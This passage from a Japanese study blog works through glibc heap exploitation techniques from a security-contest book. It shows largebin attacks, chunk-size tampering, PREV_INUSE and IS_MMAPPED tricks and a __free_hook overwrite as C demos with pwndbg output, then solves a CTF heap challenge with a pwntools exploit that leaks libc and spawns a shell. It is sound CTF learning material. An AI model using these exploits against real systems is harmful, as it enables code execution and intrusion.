largebin に移動した ma のbk_nextsize をローカル変数の var のアドレス(-0x20)をセットしています。
mb の free関数の実行で、ma と同様に、まずは、unsortedbin に管理されます。その後の malloc関数の実行で、ma と同様に、largebin に移動されます。このとき、largebin の末尾のチャンク(ma)のサイズを見て、mb より大きいので、mb は末尾に繋がることが決定します。
ma と mb はサイズが異なる(largebin の中に mb と同じサイズのチャンクが無い)ので、largebin の fd_nextize と bk_nextsize のリンクが更新されます。bin_at の fd より、先頭のチャンク(今回の場合は ma)を特定します。先頭のチャンクの bk_nextsize は、これまでの largebin の最小サイズのチャンクの中の先頭のチャンクを指しています(今回は、これが ma->bk_nextsize になります)。
まず、mb の fd_nextize と bk_nextsize を書き込みます。mb->fd_nextize には、bin_at の fd が指しているチャンクのアドレスを書き込みます。mb->bk_nextsize には、bin_at の fd が指しているチャンクの bk_nextsize(今回の場合は、ma->bk_nextsize)を書き込みます。これで、mb の fd_nextize と bk_nextsize は完成です。
次は、もともと largebin に管理されているチャンクの fd_nextize と bk_nextsize を更新します。fd_nextsize は、bin_at の fd が指しているチャンクの bk_nextsize(今回の場合は、ma->bk_nextsize)が指しているチャンクの fd_nextize に、追加された mb の先頭アドレスを書き込みます。ma->bk_nextsize が指しているチャンクというのが、var に書き換えられているため、var に mb の先頭アドレスが書き込まれてしまうというわけです。
#include <stdio.h> #include <stdlib.h> #include "malloc_struct.h" int main(void){ void *ma, *mb; malloc_chunk *ca, *cb; unsigned long var = 0xdeadbeef; printf("&var : %p\nvar = %#lx\n\n", &var, var); ma = malloc(0x428); // A ca = mem2chunk(ma); malloc(0); mb = malloc(0x418); // B cb = mem2chunk(mb); printf("ma = %p, mb = %p\nca = %p, cb = %p\n\n" , ma, mb, ca, cb); free(ma); // to unsorted malloc(0x438); // (A : unsorted -> large) puts("Exploit!"); ca->bk_nextsize = ((void*)&var) - 0x20; // vuln free(mb); // to unsorted malloc(0x438); // (B : unsorted -> large) printf("var = %#lx\n", var); }
実行してみます。glibc-2.36 でも実行できました。
mb のチャンクの先頭アドレスが var に書き込まれていることが確認できます。
$ gdb -q ./attack_largebin_link Reading symbols from ./attack_largebin_link... pwndbg> r &var : 0x7fffffffdd80 var = 0xdeadbeef ma = 0x5555555596b0, mb = 0x555555559b00 ca = 0x5555555596a0, cb = 0x555555559af0 Exploit! var = 0x555555559af0
GDB で細かく見ていきます。
まずは、最初に free関数が実行されて、ma が unsortedbin に入るところまで確認します。
次に、0x438 の要求サイズで malloc関数を実行した後の状態を確認します。unsortedbin からの確保と繋ぎ替えが行われ、ma は largebin に移動されます。
その後、ma の bk_nextsize を書き換えた後、mb を free関数で解放すると、ma と同様に、unsortedbin で管理されます。次の malloc関数の実行で、unsortedbin の確保と繋ぎ替えが行われます。
今回は、mb のアドレスがログ出力されているため、アドレスが正しいことが明らかなので、ここまでとします。
$ gdb -q ./attack_largebin_link Reading symbols from ./attack_largebin_link... pwndbg> start pwndbg> b 21 Breakpoint 3 at 0x55555555527a: file attack_largebin_link.c, line 21. pwndbg> c Continuing. pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x410 (with flag bits: 0x411) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x5555555596a0 Size: 0x430 (with flag bits: 0x431) fd: 0x7ffff7f9bcc0 bk: 0x7ffff7f9bcc0 Allocated chunk Addr: 0x555555559ad0 Size: 0x20 (with flag bits: 0x20) Allocated chunk | PREV_INUSE Addr: 0x555555559af0 Size: 0x420 (with flag bits: 0x421) Top chunk | PREV_INUSE Addr: 0x555555559f10 Size: 0x200f0 (with flag bits: 0x200f1) pwndbg> n pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x410 (with flag bits: 0x411) Free chunk (largebins) | PREV_INUSE Addr: 0x5555555596a0 Size: 0x430 (with flag bits: 0x431) fd: 0x7ffff7f9c0b0 bk: 0x7ffff7f9c0b0 fd_nextsize: 0x5555555596a0 bk_nextsize: 0x5555555596a0 Allocated chunk Addr: 0x555555559ad0 Size: 0x20 (with flag bits: 0x20) Allocated chunk | PREV_INUSE Addr: 0x555555559af0 Size: 0x420 (with flag bits: 0x421) Allocated chunk | PREV_INUSE Addr: 0x555555559f10 Size: 0x440 (with flag bits: 0x441) Top chunk | PREV_INUSE Addr: 0x55555555a350 Size: 0x1fcb0 (with flag bits: 0x1fcb1)
34.8.10:sizeの改竄:チャンクサイズの拡大
チャンクヘッダの sizeフィールドを書き換えることで、隣接したチャンクの内容を読み書きできることが解説されています。
ソースコード(attack_size_expand.c)は以下です。
0x20 の要求サイズで m のメモリ確保、同じく、0x20 の要求サイズで target のメモリ確保を行い、m のチャンクヘッダの sizeフィールドを 0x40 に書き換えて、m を解放しています。このとき、sizeフィールドを参照して、tcache では 0x40 として管理されるのだと思います。
0x40 の要求サイズでメモリ確保を行い、0x40 のサイズ分を全て A で埋めます。これにより、target の領域も A で埋められることを確認します。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "malloc_struct.h" int main(void){ void *m; malloc_chunk *c; unsigned long *target, *victim; m = malloc(0x18); // M c = mem2chunk(m); target = malloc(0x18); target[0] = 0xdeadbeef; printf("target = %p\n*target = %#lx\n\n" , target, *target); puts("Exploit!"); c->size = 0x41; // vuln free(m); // to tcache victim = malloc(0x38); // overwrap target memset(victim, 'A', 0x38); printf("victim = %p (%#zx byte)\n*target = %#lx\n" , victim, (mem2chunk(victim)->size)&~7, *target); }
実行してみます。glibc-2.36 でも実行できました。
$ gdb -q ./attack_size_expand Reading symbols from ./attack_size_expand... pwndbg> r Starting program: target = 0x5555555592c0 *target = 0xdeadbeef Exploit! victim = 0x5555555592a0 (0x40 byte) *target = 0x4141414141414141
GDB で詳しく見ていきます。
sizeフィールドを書き換える直前まで進めます。heapコマンドで見ると、0x20 のチャンクが 2つ並んでいます。sizeフィールドを書き換えると、heapコマンドでは、0x40 のチャンクにまとめられてしましました。
$ gdb -q ./attack_size_expand Reading symbols from ./attack_size_expand... pwndbg> start Temporary breakpoint 1 at 0x5555555551d5: file attack_size_expand.c, line 11. pwndbg> b 20 Breakpoint 5 at 0x555555555234: file attack_size_expand.c, line 20. pwndbg> c Continuing. target = 0x5555555592c0 *target = 0xdeadbeef Exploit! pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x5555555592b0 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x5555555592d0 Size: 0x410 (with flag bits: 0x411) Top chunk | PREV_INUSE Addr: 0x5555555596e0 Size: 0x20920 (with flag bits: 0x20921) pwndbg> n 21 free(m); // to tcache pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x40 (with flag bits: 0x41) Allocated chunk | PREV_INUSE Addr: 0x5555555592d0 Size: 0x410 (with flag bits: 0x411) Top chunk | PREV_INUSE Addr: 0x5555555596e0 Size: 0x20920 (with flag bits: 0x20921)
m を解放します。0x40 のサイズのチャンクとして、tcache に管理されています。0x40 の要求サイズで malloc関数を実行すると、tcache から確保されました。これにより、target のメモリの内容を書き換えることが出来ました。
pwndbg> n 23 victim = malloc(0x38); // overwrap target pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Free chunk (tcachebins) | PREV_INUSE Addr: 0x555555559290 Size: 0x40 (with flag bits: 0x41) fd: 0x555555559 Allocated chunk | PREV_INUSE Addr: 0x5555555592d0 Size: 0x410 (with flag bits: 0x411) Top chunk | PREV_INUSE Addr: 0x5555555596e0 Size: 0x20920 (with flag bits: 0x20921) pwndbg> tcachebins tcachebins 0x40 [ 1]: 0x5555555592a0 ◂— 0 pwndbg> n 24 memset(victim, 'A', 0x38); pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x40 (with flag bits: 0x41) Allocated chunk | PREV_INUSE Addr: 0x5555555592d0 Size: 0x410 (with flag bits: 0x411) Top chunk | PREV_INUSE Addr: 0x5555555596e0 Size: 0x20920 (with flag bits: 0x20921) pwndbg> c Continuing. victim = 0x5555555592a0 (0x40 byte) *target = 0x4141414141414141
34.8.10:sizeの改竄:チャンクサイズの縮小
次は、チャンクサイズを小さくする内容の解説です。
ソースコード(attack_size_shrink.c)は以下です。
0xb0 の要求サイズで ma にメモリ確保を行い、その後、0x20 の要求サイズで、target と mb の 2つのメモリ確保を行います。そして、tcache をいっぱいにしておきます。
ここから、ma を 0xb0 から 0x90 にサイズを小さくして、0x90 の位置から 0x50 のサイズの疑似的なチャンクを作ります。0x50 のサイズだと、target を含んで、さらに、mb を半分含むサイズになります。サイズが 0x90 なのは、fastbin に管理させず、consolidate forward の処理を行わさせるためです。
まずは、ma の領域内に疑似的なチャンクヘッダを作ります。ma はチャンク内の 0x10 のオフセットの位置なので、ma から 0x80 のオフセットの位置、すなわち、チャンクの先頭から 0x90 のオフセットの位置に、疑似ヘッダを作ります。疑似ヘッダに、サイズ(0x50)、fd、bk を設定します。fd、bk ともに、自分自身を指すように設定しています。これは、「34.6.3:unlink_chunk」で述べたように、p->fd->bk と p->bk->fd が p を指していることが確認されることを対策しています。あとは、次のチャンクとなる mb に prev_size と size も設定しておきます。
0x90 と 0x50 が併合されて、0xe0 の解放済みチャンクになるように設定しました。ma を解放して、0xe0 の要求サイズで malloc関数を実行します。確保した領域を A で埋めて、target が書き換わっていることを確認します。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "malloc_struct.h" int main(void){ void *ma, *mb; malloc_chunk *ca; unsigned long *target, *victim; ma = malloc(0xa8); // A ca = mem2chunk(ma); target = malloc(0x18); mb = malloc(0x18); for(int i=0; i<7; i++) free(calloc(1, 0x88)); target[0] = 0xdeadbeef; printf("target = %p\n*target = %#lx\n\n" , target, *target); malloc_chunk *cp = ma + 0x80; // P cp->size = 0x51; cp->fd = cp->bk = cp; ((malloc_chunk*)mb)->prev_size = 0x50; ((malloc_chunk*)mb)->size = 0x10; ca->size = 0x91; // vuln free(ma); // trigger consolidate forward puts("Exploit!"); victim = malloc(0xd8); // overwrap target memset(victim, 'A', 0xd8); printf("victim = %p (%#zx byte)\n*target = %#lx\n" , victim, (mem2chunk(victim)->size)&~7, *target); }
実行してみます。glibc-2.36 でも実行できました。
$ gdb -q ./attack_size_shrink Reading symbols from ./attack_size_shrink... pwndbg> r Starting program: target = 0x555555559350 *target = 0xdeadbeef Exploit! victim = 0x5555555592a0 (0xe0 byte) *target = 0x4141414141414141
34.8.10:sizeの改竄:topサイズの縮小
大きなサイズのメモリ確保が実行されたとき、Top chunk の容量で不足する場合、システムからメモリを新しく取得して、Top chunk を拡張します。しかし、このとき、必ずしも、現状の Top chunk と連続した領域が確保できない場合があり、その場合は、新しく確保した領域を Top chunk とし、これまで Top chunk だった領域は空きチャンクとして、管理機構に移動させます。
ここでは、Top chunk を空きチャンクにすることを再現させます。このとき、sysmalloc() の処理で、0x20 の空きチャンクが tcache にエントリされるのですが、これを利用して、このエントリを読み書きできるようにすることが解説されています。
ソースコード(attack_size_shrink_top.c)は以下です。
0x920 の要求サイズでメモリを確保します。m は 0x10 のオフセットがあるので、m + 0x910 は、次のチャンク(Top chunk)の先頭を表します。
#include <stdio.h> #include <stdlib.h> #include "malloc_struct.h" int main(void){ unsigned long *m, *victim; malloc_chunk *top; unsigned long var = 0xdeadbeef; printf("&var : %p\nvar = %#lx\n\n", &var, var); m = malloc(0x918); top = (void*)m + 0x910; top->size = 0x41; // vuln m = malloc(0xfb8); // trigger sysmalloc() top = (void*)m + 0xfb0; puts("Exploit!"); top->size = 0x41; // vuln malloc(0x48); // trigger sysmalloc() top->fd = (void*)&var; // tcache_poisoning malloc(0x18); victim = malloc(0x18); // alloc var from tcache *victim = 0xcafebabe; // overwrite printf("victim = %p\nvar = %#lx\n", victim, var); }
実行してみます。glibc-2.36 ではエラーを検出したので、glibc-2.31 でやってみます。
$ gdb -q ./attack_size_shrink_top Reading symbols from ./attack_size_shrink_top... pwndbg> r Starting program: &var : 0x7fffffffdd88 var = 0xdeadbeef Exploit! malloc(): unaligned tcache chunk detected $ cp ./attack_size_shrink_top ./attack_size_shrink_top_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./attack_size_shrink_top_patch $ gdb -q ./attack_size_shrink_top_patch Reading symbols from ./attack_size_shrink_top_patch... pwndbg> set debug-file-directory /home/user/svn/oss/glibc231-dbg/usr/lib/debug pwndbg> set resolve-heap-via-heuristic force Set the strategy to resolve heap via heuristic to 'force'. pwndbg> r Starting program: &var : 0x7fffffffdd98 var = 0xdeadbeef Exploit! victim = 0x7fffffffdd98 var = 0xcafebabe
GDB で、詳しく見ていきます。
$ gdb -q ./attack_size_shrink_top_patch Reading symbols from ./attack_size_shrink_top_patch... pwndbg> set debug-file-directory /home/user/svn/oss/glibc231-dbg/usr/lib/debug pwndbg> set resolve-heap-via-heuristic force Set the strategy to resolve heap via heuristic to 'force'. pwndbg> start Temporary breakpoint 1 at 0x5555555551b5: file attack_size_shrink_top.c, line 5. pwndbg> b 14 Breakpoint 2 at 0x555555555205: file attack_size_shrink_top.c, line 14. pwndbg> c Continuing. &var : 0x7fffffffdd98 var = 0xdeadbeef pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55555555a000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x55555555a290 Size: 0x410 (with flag bits: 0x411) Allocated chunk | PREV_INUSE Addr: 0x55555555a6a0 Size: 0x920 (with flag bits: 0x921) Top chunk | PREV_INUSE Addr: 0x55555555afc0 Size: 0x20040 (with flag bits: 0x20041) pwndbg> p/x top->size $2 = 0x20041
詳しく見るつもりでしたが、さすがにマニアック過ぎる内容であることと、現状のバージョンで使えない内容であることを考えて、詳細は省略しようと思います。
34.8.10:sizeの改竄:PREV_INUSEを落とす
使用中のチャンクの PREV_INUSEビットをクリアして、解放されたチャンクに偽装して、併合させることで、malloc関数の実行で、使用中のチャンクを確保させて、その領域を読み書きするという内容が解説されています。
ソースコード(attack_unset_previnuse.c)は以下です。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include "malloc_struct.h" int main(void){ unsigned long *ma, *mb, *mc; malloc_chunk *cc; unsigned long *target, *victim; ma = malloc(0x28); // A target = malloc(0x18); mb = malloc(0x18); // B mc = malloc(0x88); // C cc = mem2chunk(mc); for(int i=0; i<7; i++) free(calloc(1, 0x88)); target[0] = 0xdeadbeef; printf("target = %p\n*target = %#lx\n\n" , target, *target); ((malloc_chunk*)ma)->size = 0x61; ((malloc_chunk*)ma)->fd = ((malloc_chunk*)ma)->bk = (void*)ma; assert(&mb[2] == &cc->prev_size); mb[2] = 0x60; puts("Exploit!"); cc->size &= ~1; // vuln free(mc); // trigger consolidate backward victim = malloc(0xe8); // overwrap target memset(victim, 'A', 0xe8); printf("victim = %p (%#zx byte)\n*target = %#lx\n" , victim, (mem2chunk(victim)->size)&~7, *target); }
実行してみます。
$ gdb -q ./attack_unset_previnuse Reading symbols from ./attack_unset_previnuse... pwndbg> r Starting program: target = 0x5555555592d0 *target = 0xdeadbeef Exploit! victim = 0x5555555592b0 (0xf0 byte) *target = 0x4141414141414141
こちらも、偽装ヘッダを準備するなど、現実的には使いにくい内容なので、詳細は割愛します。
34.8.10:sizeの改竄:IS_MMAPPEDを立てる
ここでは、IS_MMAPPED のフラグがセットされたチャンクを確保する場合、何か複雑な条件を満たすことで、未初期化のメモリの内容を読み取ることが出来る、という内容が解説されていますが、ちょっと難しくて理解できませんでした。
ソースコード(attack_set_ismmapped.c)は以下です。
#include <stdio.h> #include <stdlib.h> #include "malloc_struct.h" int main(void){ unsigned long *m, *victim; malloc_chunk *c; m = malloc(0x418); malloc(0); c = mem2chunk(m); m[4] = 0xdeadbeef; printf("m = %p\nm[4] = %#lx\n\n", m, m[4]); free(m); // to unsortedbin puts("Exploit!"); c->size |= 2; // vuln victim = calloc(1, 0x418); // from unsortedbin printf("victim = %p\nvictim[4] = %#lx\n" , victim, victim[4]); }
実行してみます。glibc-2.36 でも実行できました。
$ gdb -q ./attack_set_ismmapped Reading symbols from ./attack_set_ismmapped... pwndbg> r Starting program: m = 0x5555555592a0 m[4] = 0xdeadbeef Exploit! victim = 0x5555555592a0 victim[4] = 0xdeadbeef
34.8.11:制御を奪う
ここでは、glibc が準備してくれているフック関数が説明されています。このフック関数の実体は、glibc 内で定義されている関数ポインタで、この変数を書き換えることが出来れば、シェルを取ることが出来ます。
例えば、フック関数のポインタ変数に、system関数のアドレスを設定すると、対象の関数が実行されたときに、system関数が実行されるわけです。system関数の場合、第1引数にアドレスを指定するフック関数だと、"/bin/sh" を設定できるので都合がよく、そのようなフック関数として、free関数、realloc関数のフック関数が紹介されています。
具体的なサンプルとして、以下のようなソースコード(attack_hook.c)が提供されています。
__free_hook が、free関数に用意されているフック用の関数ポインタの変数です。そこに system関数を設定したことで、free関数が実行されると、system関数が実行されます。free関数に渡したアドレス型の引数がフック関数にも渡されるので、system関数に、"uname -a" が引数として渡されて実行されることになります。
#include <stdio.h> #include <malloc.h> #include <string.h> #include <stdlib.h> int main(){ char *p; p = strdup("uname -a"); __free_hook = (void(*)(void*, const void*))system; free(p); }
実行してみます。glibc-2.36 だと何も起こらなかったので、glibc-2.31 でも実行してみると、想定通りの動作が確認できました。
$ ./attack_hook $ cp attack_hook attack_hook_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./at tack_hook_patch $ ./attack_hook_patch Linux parrot 6.5.0-13parrot1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.13-1parrot1 (2023-12-19) x86_64 GNU/Linux
34.8:まとめ
- 34.8.1:ヒープ・libcのアドレスの取得
UAF(メモリ解放後にそのメモリを参照できる問題)や、メモリ確保後の未初期化の状態を参照できる問題を利用して、ヒープ領域のベースアドレスや、libc のベースアドレスをリークする攻撃方法が解説されている。
- 34.8.2:tcacheエントリの重複
UAF で、free関数で解放済みのチャンクの tcache_entry の keyメンバを NULL に書き換えると、free関数実行時に行われる二重解放チェックを無効化できるため、再度、同じアドレスに対して、free関数を実行すると、tcache に同じチャンクが登録されてしまう問題があり、その結果、malloc() で、同じアドレスが2回取得されてしまう。
- 34.8.3:tcacheの汚染
UAF で、free関数で解放済みのチャンクの tcache_entry の nextメンバを任意の領域のアドレスで書き換えることにより、次の malloc関数でその領域のメモリを確保できる攻撃方法が説明されている。
- 34.8.4:mp_.tcache_binsの改竄
tcache で管理するサイズの種類数を格納している tcache_bins を書き換えることが出来ると、64種類のサイズ(0x410 以下のサイズ)を超えるサイズのチャンクをtcache で管理できるように偽装することが出来ます。tcache を管理する tcache_perthread_struct構造体は、64個分の管理しかできないため、領域外アクセスになりますが、その領域をうまく制御して、任意の領域をメモリ確保させる攻撃方法が説明されている。
- 34.8.5:fastbinチャンクの重複
fastbin の double free(二重解放)のチェックがされない脆弱性について、解説されている。
34.9:実践問題
シェルを取るというお題で、プログラムバイナリ(chall_heap)と、以下のソースコード(chall_heap.c)が提供されています。
また、ヒントとして、まずは、libc のベースアドレスの特定が必要と書かれています。
まず、"You can malloc three times" と表示した上で、ユーザに、malloc関数で確保するメモリ容量を、0 から 0x800(2,048)の範囲で、3回入力させます。これにより、p[] に、3個分の確保したメモリアドレスが格納されます。
次に、確保したメモリを 3個とも解放します。0x408 以下を入力したとすると、tcache で管理されて、それを超えたサイズなら、unsortedbin で管理されます。
そして、"read buffer index >> " と表示して、ユーザに 0 から 2 の整数を入力させて、その値をインデックスとして、格納されている文字列を表示します。ここは、解放済みのチャンクの fdメンバ(tcache なら nextメンバ)を出力していることになると思います。unsortedbin で管理されるサイズにしておけば、ここで、libc のベースアドレスが取得できそうです。
"write buffer index >> " と表示して、ユーザに 0 から 2 の整数を入力させて、その値をインデックスとした領域に 8byte の入力をユーザにさせます。これは、fdメンバ(tcache なら nextメンバ)に任意の値を設定できることを意味します。基本的に、tcache のチェックが甘いと思うので、tcache のハックを思い出すと、「34.8.3:tcacheの汚染」が使えそうな気がします。ここで、nextメンバに、free関数の GOT を指定しておき、後述の malloc関数と任意の書き込みで、system関数のアドレスを書き込めれば、シェルを取れるかもしれません。
"You can malloc two times" を表示して、p[0] と p[1] に、0 から 0x800(2,048)の範囲でユーザにサイズを指定させて、メモリを確保して、その領域にそのサイズ分だけ任意の入力をすることが出来ます。p[0] が先なので、こちらは、"/bin/sh" を書き込み、p[1] の方は、書き込み先を GOT にしておけば、system関数のアドレスを書き込めば、次の free関数で、シェルを取れそうです。
最後に、p[0] と p[1] を解放して終了です。
#include <stdio.h> #include <stdlib.h> static int getint(int min, int max){ char buf[0x10] = {}; int n; fgets(buf, sizeof(buf), stdin); if((n=atoi(buf)) < min || n > max) exit(0); return n; } int main(void){ char* p[3]; setbuf(stdout, NULL); puts("You can malloc three times"); for(int i=0; i<3; i++){ printf("size (%d/3) >> ", i+1); p[i] = malloc(getint(0, 0x800)); } for(int i=0; i<3; i++) free(p[i]); printf("read buffer index >> "); printf("content : %s\n", p[getint(0,2)]); printf("write buffer index >> "); fgets(p[getint(0,2)], 8, stdin); puts("\nYou can malloc two times"); for(int i=0; i<2; i++){ int size; printf("size (%d/2) >> ", i+1); p[i] = malloc(size = getint(0, 0x800)); printf("content >> "); fgets(p[i], size, stdin); } for(int i=0; i<2; i++) free(p[i]); return 0; }
エクスプロイトを検討します。
「34.8.3:tcacheの汚染」を使うことを想定する(glibc-2.31 でないと動作しないことに注意)と、最後の 2回実行される malloc関数と free関数は、tcache から取得したいので、tcache で 2個のチャンクが管理されるようにします。一方、libc のアドレスリークには、tcache ではダメなので、あとの 1個は、unsortedbin で管理させるようにします。p という名前を使うとややこしいので、最初に p[0] にアドレスが格納されるチャンクを「チャンク0」と呼び、同様に、チャンク1、チャンク2 と呼ぶことにします。
デバッグして分かったのですが、unsortedbin に管理させるためのチャンクを 3個目(p[2])にすると、top chunk に併合されてしまいます。よって、tcache向け、unsortedbin向け、tcache向けの順にします。具体的には、tcache は最小サイズで 0x20 とし、unsortedbin も最小サイズで、0x420 とします。要求サイズを、0x20 → 0x420 → 0x20 の順にして、メモリを確保します。
最初の free関数では、p[0] → p[1] → p[2] の順で解放されるので、tcache のエントリとしては、チャンク2 → チャンク0 の順で繋がることになります。すると、最後の malloc関数では、チャンク2 → チャンク0 の順で確保されることになります。
また、最後の free関数は p[0] から実行されるので、p[0](つまり、チャンク2)には、"/bin/sh" を書き込みたいところです。そうなると、最後の malloc関数と任意の値の書き込みで、p[1](チャンク0)には、GOT に system関数のアドレスを書く方の役割を与えることになります。そのためには、チャンク2 の nextメンバに free関数の GOT のアドレスを書き込む必要があります。
これでいけそうだったのですが、下で調査してみると、Full RELRO だったので、GOT に書き込みが出来ません。では、「34.8.11:制御を奪う」(こちらも glibc-2.31 でしか動作しません)を使って、free関数のフック関数を使ってみようと思います。GOT の代わりに、__free_hook のアドレスを設定すればよいです。
それでは、この内容で、エクスプロイトコードを実装します。
#!/usr/bin/env python3 from pwn import * import time bin_file = './chall_heap_patch' context(os = 'linux', arch = 'amd64') context(terminal = ['tmux', 'splitw', '-h']) #context.log_level = 'debug' binf = ELF( bin_file ) libc = binf.libc offset_libc_free_hook = libc.symbols['__free_hook'] offset_libc_system = libc.functions['system'].address info( f"libc.symbols['__free_hook']={libc.symbols['__free_hook']:#x}" ) info( f"libc.functions['system'].address={libc.functions['system'].address:#x}" ) def attack( proc, **kwargs ): ofs_libc_mainarena = 0x1ebb80 proc.sendlineafter( '>> ', f"{0x18}".encode() ) # to tcache proc.sendlineafter( '>> ', f"{0x418}".encode() ) # to unsortedbin proc.sendlineafter( '>> ', f"{0x18}".encode() ) # to tcache proc.sendlineafter( '>> ', b'1' ) proc.recvuntil( 'content : ' ) addr_libc_base = unpack(proc.recv(6), 'all') - 0x60 - ofs_libc_mainarena # fdメンバからlibc_baseを算出する info( f"addr_libc_base={addr_libc_base:#x}" ) proc.sendlineafter( '>> ', b'2' ) time.sleep( 1 ) proc.sendline( p64(addr_libc_base + offset_libc_free_hook) ) proc.sendlineafter( '>> ', f"{0x18}".encode() ) # from tcache proc.sendlineafter( '>> ', b'/bin/sh\x00' ) proc.sendlineafter( '>> ', f"{0x18}".encode() ) # from tcache proc.sendlineafter( '>> ', p64(addr_libc_base + offset_libc_system) ) #info( proc.recvall() ) def main(): adrs = "shape-facility.picoctf.net" port = 51556 #adrs = "localhost" #port = 4000 #proc = gdb.debug( bin_file ) proc = process( bin_file ) #proc = remote( adrs, port ) attack( proc ) proc.interactive() if __name__ == '__main__': main()
以下は、エクスプロイトコードを実装する上で、調査した内容です。
$ file chall_heap chall_heap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f66a9a9fbfb1069b2524dbde4798e675f64601b, for GNU/Linux 3.2.0, not stripped $ ~/bin/checksec --file=chall_heap RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 76 Symbols No 0 2 chall_heap $ pwn checksec --file=chall_heap [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/heap/chall_heap' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No $ cp chall_heap chall_heap_patch $ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --s et-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./chall_heap_patch $ ldd chall_heap_patch linux-vdso.so.1 (0x00007fffcd737000) libc.so.6 => /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc.so.6 (0x00007f35c1d3d000) /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007f35c1f37000) $ nm -D /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc.so.6 | grep _ _free_hook 00000000001eeb28 V __free_hook@@GLIBC_2.2.5
実行してみます。シェルを取ることが出来ました。
$ python exploit_heap_mine.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/heap/chall_heap_patch' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu' SHSTK: Enabled IBT: Enabled Stripped: No [*] '/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled [*] libc.symbols['__free_hook']=0x1eeb28 [*] libc.functions['system'].address=0x55410 [+] Starting local process './chall_heap_patch': pid 4966 /home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) /home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/heap/exploit_heap_mine.py:28: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes proc.recvuntil( 'content : ' ) [*] addr_libc_base=0x7f1cb2941000 [*] Switching to interactive mode $ ls -alF 合計 2316 drwxr-xr-x 1 user user 178 5月 6 21:11 ./ drwxr-xr-x 1 user user 66 4月 10 2022 ../ -rw------- 1 user user 967 5月 6 20:44 .gdb_history -rwxr--r-- 1 user user 17176 4月 10 2022 chall_heap* -rwxr--r-- 1 user user 834 4月 10 2022 chall_heap.c* -rwxr--r-- 1 user user 21880 5月 6 17:24 chall_heap_patch* -rw------- 1 user user 2568192 5月 6 21:11 core -rwxr--r-- 1 user user 1302 4月 10 2022 exploit_heap.py* -rwxr--r-- 1 user user 1755 5月 6 21:14 exploit_heap_mine.py* $ [*] Stopped process './chall_heap_patch' (pid 4966)
最後に、書籍が提供してくれている、模範解答のエクスプロイトコードを確認しておきます。
libc のアドレスリークは、unsortedbin から取得しているので、同じです。また、__free_hook を書き換え先に設定し、system関数のアドレスを書き込んでいるところも同じです。細かい違いはありますが、ほとんど同じでした。
